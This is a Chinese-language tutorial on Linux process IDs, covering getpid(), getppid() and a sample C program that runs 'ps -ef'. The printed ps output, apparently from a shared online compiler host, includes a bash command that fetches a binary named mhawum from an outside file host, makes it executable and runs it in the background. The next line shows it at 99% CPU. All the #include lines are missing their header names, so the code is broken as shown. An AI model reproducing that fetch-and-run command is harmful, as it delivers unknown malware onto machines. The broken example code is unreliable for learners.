📅  最后修改于: 2021-01-18 06:30:53             🧑  作者: Mango
在进入过程信息之前,我们需要了解一些事情,例如-
什么是过程?进程是正在执行的程序。
什么是程序?程序是一个文件,其中包含进程的信息以及在运行时如何进行构建。当您开始执行程序时,它将被加载到RAM中并开始执行。
每个进程都用一个唯一的正整数标识,该整数称为进程ID或简称为PID(进程标识号)。内核通常将进程ID限制为32767,这是可配置的。当进程ID达到此限制时,它将在系统进程范围之后再次重置。然后将该计数器中未使用的进程ID分配给新创建的进程。
系统调用getpid()返回调用进程的进程ID。
#include
#include
pid_t getpid(void);
此调用返回保证唯一的调用进程的进程ID。此调用始终成功,因此没有返回值指示错误。
每个进程都有其唯一的ID,称为进程ID,这很好,但是谁创建的呢?如何获取有关其创建者的信息?创建者进程称为父进程。可以通过getppid()调用获取父ID或PPID。
系统调用getppid()返回调用过程的父PID。
#include
#include
pid_t getppid(void);
该调用返回调用进程的父进程ID。此调用始终成功,因此没有返回值指示错误。
让我们用一个简单的例子来理解这一点。
以下是一个了解调用过程的PID和PPID的程序。
File name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
编译并执行上述程序后,将输出以下内容。
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
注–“ C”库函数system()执行shell命令。传递给system()的参数是在shell上执行的命令。在上面的程序中,命令是“ ps”,它给出了进程状态。
可从/ proc位置的proc文件系统访问有关所有正在运行的进程的完整信息以及其他与系统相关的信息。